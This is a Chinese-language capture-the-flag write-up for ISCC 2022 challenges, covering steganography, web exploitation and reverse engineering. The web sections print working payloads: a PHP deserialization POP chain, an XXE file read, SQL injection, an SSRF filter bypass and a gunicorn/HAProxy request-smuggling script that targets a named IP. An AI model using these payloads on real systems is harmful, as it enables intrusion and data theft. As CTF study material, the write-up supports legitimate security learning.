练武题
Misc
2022冬奥会
拿到附件，一个压缩包一个图。
压缩包带密码，图片有报错，猜测经过篡改，所以密码应该在图里。
随便来一手究极大的高，成功出来一串html编码。
冰墩墩的小伙伴经常被人冷落，你知道它的原型是什么吗？解码得到冰墩墩的小伙伴经常被人冷落，你知道它的原型是什么吗？，那密码就是灯笼呗...
去解压得到一张图，打开又是报错。直接文本编辑得到flag。
ISCC{beij-dahb-1038}
单板小将苏翊鸣
拿到附件，一个压缩包一个图。
压缩包带密码，图片有报错，猜测经过篡改，所以密码应该在图里。
随便来一手究极大的高，成功出来一个二维码。
扫码得到u5728u8fd9u6b21u51acu5965u4f1au7684u821eu53f0u4e0auff0cu6211u56fdu5c0fu5c06u82cfu7fcau9e23u65a9u83b7u4e00u91d1u4e00u94f6uff0cu90a3u4f60u77e5u9053u6b64u6b21u51acu5965u4f1au6211u56fdu603bu5171u83b7u5f97u51e0u679au5956u724cu5417uff1fu53c8u5206u522bu662fu51e0u91d1u51e0u94f6u51e0u94dcu5462uff1f，解一下unicode得到在这次冬奥会的舞台上，我国小将苏翊鸣斩获一金一银，那你知道此次冬奥会我国总共获得几枚奖牌吗？又分别是几金几银几铜呢？，去查一下今年冬奥情况，15奖，分别是9金4银2铜。所以密码大概是15942，打开压缩包成功得到flag。
ISCC{beij-dbxj-2015}
隐秘的信息
拿到附件，一个带密码的压缩包。
题目描述里给了个ZWFzeV90b19maW5kX3RoZV9mbGFn，直接base64解开得到easy_to_find_the_flag，当作密码解压得到一张图。
StegSolve打开发现RGB三个通道的开头都有东西。
复制出来弄了半天都是乱码，随手删掉开头3位111出来了flag。
ISCC{n4DdQtuSQdEYg8Gw5WpQ}
降维打击
拿到附件，就一个压缩包，里面翻了好几层文件夹就一张图。
拖进010发现文件尾后面还有文件，看着是两个png文件连一起了。
分离出来一个芝麻糊图片...
感觉像是在纯黑图片上面搞了lsb隐写，于是StegSolve走一波，因为图片数据走向明显是竖着的，所以选Column，在r0通道下发现数据，又是张png...
save bin得到一张鬼画符...
对照《魔女之旅》文字破解·印刷体得到flag（要大写，奶奶滴）。
ISCC{ZKVV-GAGJ-JKGN}
藏在星空中的诗-2
拿到附件，得到一个文本。
按照前导题的对照表替换一下得到：
QTTPUQTTEDQTTPDQTTPDQTTKBQTTDDQTT=HQTTDKQTTFFQTTETQTTPPQTTEKQTTFPQTT=BQTTEIQTTPIQTTPBQTTFPQTT=BQTTKH发现没啥用...
但是使劲观察发现，所有都是QTT开头，那感觉是替换的东西错了，但是替换的思路是对的，于是在用对照表里unicode最后一位去替换得到：
F0049F0053F0043F0043F007BF0033F002DF0037F0066F0050F0044F0057F0064F002BF0051F0041F004BF0064F002BF007D虽然F00打头也很奇怪，不过很明显就是十六进制了，提取下得到495343437B332D3766504457642B51414B642B7D转成文本得到flag。
ISCC{3-7fPDWd+QAKd+}
藏在星空中的诗-1
拿到附件，一个压缩包一个psd一个文本。
压缩包日常带密码，psd打开发现俩图层，直接来一手差值叠加，不过上面个图层不透明度是5%，得改回100%，成功拿到提示。
于是就是把文本里的5行星星按顺序串一起，大概就是压缩包密码。
☆✪٭☪✲☆★⚝🟌★✮🟇٭🟔🞱✡🟇⍟⍟✸⚝٭⚝✦🟌
不过这里不知道为什么bandizip和7z都提示密码错误，只有winrar可以解压。
解压得到一个表格，看着应该是把星星转成字符就能拿到flag了，而且还很贴心地把unicode也给了，那就转呗。
5行分别为：
1. FLAG=
2. ISCC{
3. FEHRE
4. HAHJR
5. NSAZ}所以就拿到flag了。
ISCC{FEHREHAHJRNSAZ}
套中套
拿到附件得到一个图片，一个带密码的压缩包。
图片打开经典报错，那就010打开看看，发现没有文件头。
补上文件头重新加载，发现文件尾有文本ZmxhZzI6IF9JU0NDX1pvMno=。
解码得到flag2: _ISCC_Zo2z。
但是图片打开还是报错，那就改个高度。
得到flag1: wELC0m3_。
尝试用StegSolve打开，发现随手改的高度还不行，那就跑脚本重新算crc。
import binascii
import struct
def check(width, height, target_crc, data):
crc32result = binascii.crc32(data[:4]+width+height+data[12:]) & 0xffffffff
return crc32result == target_crc
def main(src):
with open(src, "rb") as f:
fr = f.read()
data = fr[0x0c:0x1d]
target_crc = int.from_bytes(fr[0x1d:0x21], "big")
fake_width = int.from_bytes(data[4:8], "big")
fake_height = int.from_bytes(data[8:12], "big")
maxN = 4096
for w in range(fake_width, fake_width+1):
width = bytearray(struct.pack(">i", w))
for h in range(fake_height, maxN):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
for h in range(0, fake_height):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
for w in range(0, fake_width):
width = bytearray(struct.pack(">i", w))
for h in range(fake_height, maxN):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
for h in range(0, fake_height):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
for w in range(fake_width+1, maxN):
width = bytearray(struct.pack(">i", w))
for h in range(fake_height, maxN):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
for h in range(0, fake_height):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
if __name__ == "__main__":
main(r"C:UserswkrDesktopiscc2022MISC套中套tzt.png")得到宽高813x600。
修复后用StegSolve打开发现b0通道有额外数据。
得到flag1: wELC0m3_T0_tH3。
所以压缩包密码大概是wELC0m3_T0_tH3_ISCC_Zo2z了，解压得到：
经典的背包加密算法，直接拿现成的脚本解就完事了。
###Sage###
import binascii
# open the public key and strip the spaces so we have a decent array
pubKey = [2361188918648831928906359550557667287563066887652293139600931568804647593122789158889057379273203102714095368723486829220007843957299702280632913938657714835735447419766548281452574358564865, 97695931953557930263675268583559438180052046444272770882076992153522531150379800730152218528219863748352083511247114692326156738123840025817342720032558767067009024872169520175573435927522127, 94161802701514303137155919925434103505190576261481245635005112004440266320768712382606034619863740089506265121268470715570513135353653491777909675624371473779686758512531974737676175912194444, 72388042790962730214513100950983534061195975920318426720313887884798775187923388765866188835519243418533539746074612480849787106276448754913384081515928005244379644862256042397586723327181559, 90177429706714958016891783219091455169790237953297038374352164720800081687674213470450440148447640900448313040325737014453940820102116149718253679205695044484168813278421507077056312902891435, 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93422831565061691992983678461215773217001978639447133405092138056506340181865427902759794992572924560034151068666881560622259030331041764346271216936654908653705112172758648151770970232484558, 54010463622666051748783883376050862658208926770080273690577888296476587158704307079950075130215615119628267466307552354374420205164336456775344785986170570368535518491231171134150351114071373, 58092399340175343286216752545111699151282144601273474463015674016164514974184990257220549279366138951383242729527964482007769506692420981579335065479074104771968589605470174033166194171132644, 59462882608354417206572206812823772926403946216351341153608701290217303811797695166090211286270189176719283485172573009254057134950839397432903258536768692064141789891190322207926186082000221]
nbit = len(pubKey)
# open the encoded message
encoded = "4823430239248650003530839279941052457392144719730416139664781457370579049606612452776175884076304167523993541264911665624792931007247886501165470499559923906806212066969866041384527961295017861"
print("start")
# create a large matrix of 0"s (dimensions are public key length +1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
# fill in the identity matrix
for i in range(nbit):
A[i, i] = 1
# replace the bottom row with your public key
for i in range(nbit):
A[i, nbit] = pubKey[i]
# last element is the encoded message
A[nbit, nbit] = -int(encoded)
res = A.LLL()
for i in range(0, nbit + 1):
# print solution
M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag:
print(i, M)
M = "".join(str(j) for j in M)
# remove the last bit
M = M[:-1]
M = hex(int(M, 2))[2:]
print(bytes.fromhex(M))得到flag。
ISCC{kBJ1-U368-Woga}
真相只有一个
拿到压缩包发现三个一个图片，一个文本，一个不知道啥文件。
图片提取下lsb就能发现password 1998/xx/xx字样。
文本里面有好多空白字符。
最后一个文件打开发现开头有03 04，感觉是zip文件，于是修一下打开看看。
是个带密码的压缩包。
联想之前的password 1998/xx/xx，爆破一下密码看看。
在掩码是1998????时爆破出密码19981111，解压拿到一个流量包，打开发现是tftp流量。
直接导出，得到一个音频。
au打开看一下，结尾发现0/1音频区。
尝试用摩斯密码解码.. ... -.-. -.-. -- .. ... -.-. ，得到ISCCMISC。
最后剩下文本里的空白字符，猜测是snow隐写，以isccmisc作为密码时成功得到flag。
ISCC{3roX-ZgtP-09Qt}
Web
冬奥会
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET["Information"]);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}题目目的还挺清晰的，解析json，然后分别判断year字段和items字段，两个都绕过了就能拿到flag。
先看year字段，不满足is_numeric就行，其实本来还要满足==2022的，但是出题人少打了个等号，变成赋值去了，所以year只要是个字母啥的都行，预期的话应该是2022a这种。
然后看items字段，满足is_array，然后下标1也是满足is_array，并且items满足count===3，然后要能array_search到skiing，但是遍历又不能有skiing，那感觉[0,[],0]就能绕过，因为array_search在老版本里是用的==，懂的都懂，直接0==str了。
所以最后payload就是?Information={"year":"2022a", "items":[0,[],0]}，成功拿到flag。
ISCC{W31com3_T0_Beijin9}
爱国敬业好青年-2
打开题目发现要输经纬度。
直接输一手天安门的经纬度25°33'N 116°23'E，然后：
提示了个假flag，那么刚才就感觉奇奇怪怪的输入框确实有问题。
f12看了下确实有俩框，所以iframe里的是假的。
那就删掉假的然后按钮删掉disabled属性再看看。
结果提示：
抓了下包发现有两个包是啥open close的。
那大概就是发一下open那个包再去拿flag呗。
结果提示经纬度错误。
然后试了半天，发现出题人tm傻逼，longitude能写成langtitude，还tm觉得这个单词意思是纬度，要传39°54'N，然后纬度latitude那边要传经度116°23'E，然后传了还不对，分号要用′...真想给出题人一脚，tm的首页给的示例被吃了吗？
ISCC{wQ1NXxs_108xKL08vE_aS190_1qzFSNO}
Pop2022
看名字就知道肯定是反序列化的题了。
<?php
echo "Happy New Year~ MAKE A WISH<br>";
if(isset($_GET["wish"])){
@unserialize($_GET["wish"]);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file="index.php"){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|../i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/大概看一下，链子应该是：
Try_Work_Hard作为函数被调用，触发__invoke，然后执行append($var)，也就是等价于include($var)，那就是说可以读文件，那给$var搞个php+base64伪协议把flag.php的代码转成base64输出。- 那么怎么调用
Try_Work_Hard呢？Make_a_Change里的取属性值__get可以把$effort当作函数调用，只要让$effort是个Try_Work_Hard实体就行。 - 所以现在就是要找个取属性值的地方，而正好，
Road_is_Long的__toString里对$string取了属性值page，所以让$string是Make_a_Change实体就行。 - 那么现在就需要想办法找个文本处理的地方给塞个
Road_is_Long实体进去，而正好，他自己的反序列化方法__wakeup里就有调用preg_match去处理$page，那么让$page也是个Road_is_Long实体就完事。
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Make_a_Change{
public $effort;
}
$d = new Try_Work_Hard();
$c = new Make_a_Change();
$c -> effort = $d;
$b = new Road_is_Long();
$b -> string = $c;
$a = new Road_is_Long();
$a -> page = $b;
echo urlencode(serialize($a)); // 因为有`protected`，会有`x00`字符存在，编码了方便复制得到O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D，打一下得到flag。
ISCC{SQVbsqL16_1saQBxaF30_fSsxQFS213}
这是一道代码审计题
在/static/code.txt发现被加密的源码。
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def geneSign():
if(control_key==1):
return render_template("index.html")
else:
return "You have not access to this page!"
def check_ssrf(url):
hostname = urlparse(url).hostname
try:
if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
raise BaseException("url format error")
if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if judge_ip(hostname):
return True
return False, "You not get the right clue!"
else:
ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
if is_inner_ipaddress(ip_address):
return False,"inner ip address attack"
else:
return False, "You not get the right clue!"
except BaseException as e:
return False, str(e)
except:
return False, "unknow error"
def ip2long(ip_addr):
return struct.unpack("!L", socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
print(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24
def waf1(ip):
forbidden_list = [ '.', '0', '1', '2', '7']
for word in forbidden_list:
if ip and word:
if word in ip.lower():
return True
return False
def judge_ip(ip):
if(waf1(ip)):
return Fasle
else:
addr = addr.encode(encoding = "utf-8")
ipp = base64.encodestring(addr)
ipp = ipp.strip().lower().decode()
if(ip==ipp):
global control_key
control_key = 1
return True
else:
return Falsecheck_ssrf那边有个url参数，猜测要传url，测试一下，发现还是404，去看cookies，发现有个提示：
所以那就login=0改login=1呗，不传参刷新页面，发现提示url=127.0.0.1。
那就根据源码看看url格式，check_ssrf那边就一个return True，只看这个分支的条件就完事，所以需要http://@或者https://@开头，然后跟的ip满足judge_ip函数，然后judge_ip又要绕过waf1函数，waf1函数就是说ip要不包括.0127，然后judge_ip那边对内置常量addr进行base64编码，addr大概率是127.0.0.1，然后和传入的ip相当就行。
那就base64编码一下127.0.0.1，得到MTI3LjAuMC4x，然后传参呗，得到新的路由和cookies。
那就去改改cookies然后访问新路由，是个登录页面。
查看页面代码发现事件没挂上去，因为οnclick的ο不是o，然后jQuery也没拉取，用不了，然后标题是./flag.txt。
<html>
<head>
<title>./flag.txt</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script type="text/javascript">
function codelogin(){
var name = $("#name").val();
var password = $("#password").val();
if(name == "" || word == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><name>" + name + "</name><password>" + password + "</password></user>";
$.ajax({
contentType: "application/xml;charset=utf-8",
type: "POST",
url: "codelogin",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
</head>
<body>
<form>
<div id="loginFormMain">
<table style="width:468px;height:262px;background-color: gray;text-align: center;">
<tr>
<th colspan="2" align="center" >登录</th>
</tr>
<tr>
<td>用户名:<input id="name" type="text" style="width: 200px;height: 30px;" name="name"></td>
</tr>
<tr>
<td>密 码:<input id="password" type="password" style="width: 200px;height: 30px;" name="password"></td>
</tr>
<tr>
<td align="center" ><input type="button" style="cursor: pointer;font-style: inherit;" name="next" value="login" οnclick="javascript:codelogin()" />
</tr>
</table>
</div>
</form>
</body>
</html>随便发个包发现果然返回code=0，然后还返回了用户名。
那这既然又是xml传参又有可控回显的，那就试试看用户名那边xxe呗，发现果然能打。
既然刚才提示了./flag.txt，那就/proc/self/cwd指向当前进程目录走起，成功拿下。
ISCC{jQvb8-aqiuVtrX19-i71bl18c-ew08Sq0xf}
Easy-SQL
拿到题目，给的入口是?id=，那么先试试看注入难度，直接?id=1 order by 1还是能出来数据，然后故意打错一下就出不来数据，证明有注入，尝试union select，发现select被拦了，尝试了几手常用的绕过都没效果，于是sqlmap一把梭，拿到数据库名security，然后版本是MySQL 8的，其他就没了，一看到这版本，那不铁定是利用新的table语法吗！冲就完事了。
构造一首?id=0 union table users limit 1 offset 0，成功拿到id=1的数据，那么就往下找beaxia呗。
?id=0 union table users limit 1 offset 7时发现目标用户beaxia。
但是题目要求是拿到beaxia的邮箱地址，所以猜测在另一张表，猜一手表名emails，构造出?id=0 union table emails limit 1 offset 7，还真就是...
得到邮箱地址ypHeMPardErE.zip@beaxia.cn，看着像是文件名，于是访问ypHeMPardErE.zip，还真有个压缩包，下载下来打开是个php。
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
$filter = "/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^||| |"/i";
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_GET["id"]))
{
$id = $_GET["id"];
$sql = "select * from users where id=$id";
$safe = preg_match("/select/is", $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row["username"] . "</h3><br>";
echo "<h3>" . $row["passwd"] . "</h3>";
}
else
die("<br>Error!");
}
if (isset($_POST["username"]) && isset($_POST["passwd"]))
{
$username = strval($_POST["username"]);
$passwd = strval($_POST["passwd"]);
if ( !sqlWaf($passwd) )
die("damn hacker");
$sql = "SELECT * FROM users WHERE username="${username}" AND passwd= "${passwd}"";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row["username"] === "admin" && $row["passwd"] )
{
if ($row["passwd"] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>看了下代码，意思是还有个套娃入口，是post个username和passwd的，然后预期是查询返回的结果里username是admin，passwd和输入的一样，但是根据刚才咱们遍历的情况，并没有admin用户，那就注入个返回出来呗。
而看情况passwd的防护很严，所以直接不管它，后面利用username在结尾注释掉就行，所以咱们诸如点就是username，思路就是select个常量来返回。
于是构造个payload，得到passwd=abc&username=' union select 1,"admin","abc" %23，成功拿下。
ISCC{0H_1you*A2E-S0_Gre4t.Congt2!}
findme
打开环境，就一张图，看一下源码发现/unser.php。
去/unser.php发现是个反序列化题。
<?php
highlight_file(__FILE__);
class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;
public function __destruct(){
if(!empty($this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === "unserialize"){
$this -> yigei();
}
else{
$this -> giao();
}
}
}
public function Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}
public function yigei(){
echo "Your output: ".$this->un4;
}
public function giao(){
@eval($this->un2);
}
public function __wakeup(){
include $this -> un2."hint.php";
}
}
$data = $_POST["data"];
unserialize($data);这里首先看到hint.php，尝试访问一下，没404，说明这个文件真的存在。
然后看到Givemeanew函数可以new个类出来，而这题没有其他类，那么就是想让咱们new原生类了。然后Givemeanew函数在__destruct反序列化时调用，条件是un0不为空但是un2为空，然后Givemeanew的执行结果在un4里面，所以需要调用yigei函数来输出un4，那么就得满足un3是unserialize。
链子大概理清楚了，那就想想该用啥原生类了。咱先打算去看看hint.php的内容是啥，而原生类中有个SplFileObject类，可以传入路径然后返回一个按行读取的迭代器，而咱们的迭代器存在un4里，然后被echo，也就是说咱只能读取到第一行。那就还得弄个php+base64的伪协议路径去把文件内容搞成一行，然后一次性输出：
php://filter/read=convert.base64-encode/resource=hint.php然后序列化字符串就是：
O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:57:"php://filter/read=convert.base64-encode/resource=hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}去反序列化打一下得到hint：
既然说文件名爆破不了，那就联想到了原生类GlobIterator，传入带通配符的路径，然后返回文件名迭代器，那么就是要调用new GlobIterator('f*.txt')，那么序列化字符串就是：
O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}去反序列化打一下得到文件名：
访问得到flag。
ISCC{D19DSdw_SsS0716dswQsK_2tEN}
让我康康！
这题题目环境之前一直挂，终于抽空写出来了。
打开环境看代码，让去搜索flag。
搜索flag得到提示去访问fl4g。
但是访问得到403...
探测环境得到gunicorn 20.0.0
既然低于20.0.4，那么http 请求走私肯定是存在的了，这题考点应该也是在这。
具体分析文章：gunicorn 20.0.4 请求走私漏洞简析（含复现环境&Poc）
跟着文章的思路先写个访问/fl4g的走私请求看看。
import pwn
req3 = b"rn".join([
b"GET / HTTP/1.1",
b"Host: 59.110.159.206:7020",
b"Content-Length: 0",
b"",
b"",
])
req2 = b"xxxxxxxx"+b"rn".join([
b"GET /fl4g HTTP/1.1",
b"Host: 59.110.159.206:7020",
b"Content-Length: "+str(len(req3)).encode(),
b"",
b"",
])
req1 = b"rn".join([
b"GET / HTTP/1.1",
b"Host: 59.110.159.206:7020",
b"Content-Length: "+str(len(req2)).encode(),
b"Sec-Websocket-Key1: x",
b"",
b"",
])
r = pwn.remote("59.110.159.206", 7020)
r.send(req1+req2+req3)
print(r.recvall(1).decode(), end="")发现提示需要本地访问。
尝试了xff等常见的伪装本地的手法，都没绕过去，把图片路径走私一下下载下来也没找到东西...
于是猜测可能是Haproxy配置了在转发的时候加其他类似于xff功能的请求头，那么这时候就需要一个回显最终请求头的地方了，这不就有现成的嘛。
那就走私一下这个search的api，先设置正常body长度看看情况。
发现有自定义请求头回显过来了，但是理论上这时候只会有2字节的额外回显才对啊？
比对了下发现是Host字段被改了，那为了方便理解，控制变量法搞起，成功回显了额外2字节。
大概解释一下，我们发送的连体包长这样：
GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
rn
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
rn而中间转发程序Haproxy眼里的包长这样：
GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
rn
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123
--------------------------------
GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
rn上半个包的body长度标记为137是因为中间这个被当作请求主体的包加上xxxxxxxx正好137字节：
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123然后根据Haproxy的配置文件，给上半个包和下半个包都加上自定义头secr3t_ip: 你滴ip，然后转发给处理程序gunicorn，所以gunicorn接收到的连体包长这样：
GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
secr3t_ip: 1.2.3.4rn
rn
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
secr3t_ip: 1.2.3.4rn
rn但是处理程序gunicorn眼里的包长这样：
GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
secr3t_ip: 1.2.3.4rn
rn
xxxxxxxx
--------------------------------
POST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
secr3t_ip: 1.2.3.4rn
rn所以上半个请求返回了个首页，至于下半个请求，它的body长度填了68，那咱数数请求主体部分前68字节是啥：
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
se所以，处理程序认为咱们的搜索词是：
test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
se然后肯定搜不到嘛，就回显个0 search results for '搜索词'，那么原本末尾的rn2字节就被额外的secr3t_ip: 1.2.3.4请求头给顶替掉来回显了。
所以回头构造一下fl4g的走私请求，加上自定义请求头，成功拿下。
import pwn
req3 = b"rn".join([
b"GET / HTTP/1.1", # rn
b"Host: 59.110.159.206:7020", # rn
b"Content-Length: 0", # rn
b"", # rn
b"",
])
req2 = b"xxxxxxxx"+b"rn".join([
b"GET /fl4g HTTP/1.1", # rn
b"Host: 59.110.159.206:7020", # rn
b"Content-Length: "+str(len(req3)).encode(), # rn
b"secr3t_ip: 127.0.0.1", # rn
b"", # rn
b"",
])
# req2body = b"search=test123"
# req2 = b"xxxxxxxx"+b"rn".join([
# b"POST / HTTP/1.1", # rn
# b"Host: 59.110.159.206:7020", # rn
# b"Content-Type: application/x-www-form-urlencoded", # rn
# b"Content-Length: "+str(len(req2body)+len(req3)).encode(), # rn
# b"",
# req2body,
# ])
req1 = b"rn".join([
b"GET / HTTP/1.1", # rn
b"Host: 59.110.159.206:7020", # rn
b"Content-Length: "+str(len(req2)).encode(), # rn
b"Sec-Websocket-Key1: x", # rn
b"", # rn
b"",
])
r = pwn.remote("59.110.159.206", 7020)
r.send(req1+req2+req3)
result = r.recvall(1)
print(result.decode(), end="")
ISCC{SX1jskQ_JqnQC082_fSSafo1xzS961}
Reverse
GetTheTable
拿到题目尝试运行，打不开...
那就直接ida打开吧。
这咋看咋像base58，直接解试试。
ISCC{C4MqweJxJVaUa}
Amy's Code
直接ida打开。
主要流程就是把输入给复制一份，然后经过sub_4115FF处理，用sub_411433判断一下就完事。
先看处理函数，跳了几次后来到sub_4128A0，就是个foreach的异或i。
然后再看判断函数，跳了几次后来到sub_412550，虽然代码有点绕，但实际上就是foreach和LWHFUENGDJGEFHYDHIGJ按位各自异或，然后和上面那个数组比较。
那么脚本思路就差不多出来了，随便写写脚本，直接拿下。
a = b"x95xa9x89x86xd4xbcxb1xb8xb1xc5xc0xb3x99x81xa8xa3xabix88xb8"
b = b"LWHFUENGDJGEFHYDHIGJ"
c = bytearray(20)
for i in range(20):
c[i] = a[i] - b[i]
c[i] ^= i
print(c)
ISCC{reverse_4APs1S}
How_decode
直接ida打开。
长度已知18，判长后把输入的char类型数组给拷贝到了int类型数组，经过encode函数处理后和上面那个数组比较。
那么核心就是那个encode函数，进去看发现是个xxtea加密算法。
不过对比下标准的xxtea加密函数就能发现，标准函数用的sum是累加的，题目用的sum是累减的，其他倒是没什么区别，所以下面写解密函数的时候，把sum相关的负一下就行。
#include <iostream>
using namespace std;
int main() {
int key[4] = {"I", "S", "C", "C"};
int n = 18;
int flagI[18] = {
-617635010,
-459909124,
-448805673,
493624176,
1688025630,
1582825235,
-268279330,
866550227,
-1514328206,
513946485,
-1559238803,
279030348,
1890218899,
262252445,
931094443,
-1753102858,
1958698874,
-254663693,
};
int rounds = 52 / n + 6; // 8
int sum = rounds * -0x61C88647; // 需要反向
int y = flagI[0];
for (; rounds--;) {
for (int i=n-1; i>=0; i--) {
int z = flagI[(i + n - 1)%n];
y = flagI[i] -= ((y ^ sum) + (z ^ key[((sum >> 2) & 3) ^ (i & 3)])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));
}
sum += 0x61C88647; // 需要反向
}
for (int i = 0; i < n; ++i)
cout << (char)flagI[i];
cout << endl;
// ISCC{xJeoq1K8It5i}
return 0;
}直接拿下。
ISCC{xJeoq1K8It5i}
Sad Code
直接ida打开。
一眼看到俩四元方程组，直接复制出来在线解。
c+7b-4a-2d=7792427005, 5d+3c-b-2a=6825082028, 2b+8d+10a-5c=22226494145, 7a+15b-3d-2c=32566836614
15a+35d-b-c=64815038875, 38c+a+d-24b=17913579048, 38b+32a-c-d=76024459363, a+41c-b-25d=10025449441
得到如下8个数：
a=1230193475 , b=2068010842, c=1262962245, d=1512918617
a=1095258183, b=1146105171, c=1128352594, d=1447446397而这8个数是上面sub_413BDB处理的结果，所以关键就看这个函数了。
看着是把hex字符串转成十进制的，所以把上面8个数转成十六进制就能拿到flag。
a=1230193475 ISCC
b=2068010842 {CWZ
c=1262962245 KGFE
d=1512918617 Z-NY
a=1095258183 AHPG
b=1146105171 DP-S
c=1128352594 CAKR
d=1447446397 VFG}
